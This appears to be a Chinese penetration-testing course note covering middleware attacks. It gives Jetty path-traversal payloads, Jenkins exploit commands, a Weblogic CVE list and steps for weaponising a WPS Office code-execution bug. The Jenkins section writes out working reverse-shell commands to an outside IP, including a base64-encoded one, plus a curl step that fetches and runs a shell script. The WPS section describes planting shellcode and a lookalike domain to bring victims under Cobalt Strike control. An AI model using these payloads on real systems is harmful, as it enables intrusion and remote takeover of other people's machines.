

Day80 服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE



1.知识点

- 1、数据库-Redis-未授权RCE&CVE
- 2、数据库-Couchdb-未授权RCE&CVE
- 3、数据库-H2database-未授权RCE&CVE

-
- 1、中间件-IIS-短文件&解析&蓝屏等
 - 2、中间件-Nginx-文件解析&命令执行等
 - 3、中间件-Apache-RCE&目录遍历&文件解析等
 - 4、中间件-Tomcat-弱口令&文件上传&文件包含等

-
- 1、中间件-Jetty-CVE&信息泄漏
 - 2、中间件-Jenkins-CVE&RCE执行

- 3、中间件-Weblogic-CVE&反序列化&RCE
- 4、应用WPS-HW2023-RCE&复现&上线CS

2.演示案例



Presented with xmind

2.1 中间件-Jetty-CVE&信息泄漏



- 1 Jetty是一个开源的servlet容器，它为基于Java的web容器提供运行环境。
- 2 `/%2e/WEB-INF/web.xml`
- 3 `/.%00/WEB-INF/web.xml`
- 4 `/%u002e/WEB-INF/web.xml`
- 5 `/static?/WEB-INF/web.xml`
- 6 `/a/b/..%00/WEB-INF/web.`

2.2 中间件-Jenkins-CVE&RCE执



```
1 Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作。探针默认端口：8080
2 1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效
3 http://github.com/vulhub/CVE-2017-1000353
4 bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
5 java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
6 python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
7 2、CVE-2018-1000861
8 https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
9 bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
10 python3 -m http.server 8888
11 python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt"
12 python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
13 3、cve_2019_100300 需要用户帐号密码
```

2.3 中间件-Weblogic-CVE&反序列化&RCE



```
1 weblogic是Oracle公司推出的J2EE应用服务器。
2 探针默认端口：7001
3 CVE-2023-21839 (JNDI)
4 CVE-2020-2551 (JRMP)
5 CVE-2020-2551
6 CVE-2020-2555
7 CVE-2020-2883
8 CVE-2020-14882未授权访问
9 CVE-2018-2894
10 CVE-2018-2628 (JRMP)
11 CVE-2018-2893 (JRMP)
12 CVE-2018-3245 (JRMP)
13 CVE_2018_3252 (JRMP)
14 CVE_2018_3191
15 CVE-2016-3510
16 CVE-2016-0638
17 CVE-2017-10271
18 CVE-2017-3248 (JRMP)
19 CVE-2015-4852
20 https://github.com/KimJun1010/weblogicTool
```

2.4 应用WPS-HW2023-RCE执行&复现&上线CS



- 1 WPS Office 代码执行(QVD-2023-17241)
- 2 WPS Office 2023个人版<11.1.0.15120
- 3 WPS Office 2019企业版<11.8.2.12085
- 4
- 5 1、简单复现网上POC
- 6 分析1.html poc.docx
- 7
- 8 2、修改配合联动上线CS
- 9 -修改html中的shellcode(C#)
- 10 -修改docx中的指向连接URL
- 11 -修改hosts绑定执行域名规则
- 12 漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn
- 13
- 14 实战中：申请{xxxxx}wps.cn域名
- 15 增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn ip上面
- 16 IP架设1.html网站服务，修改1.html上线shellcode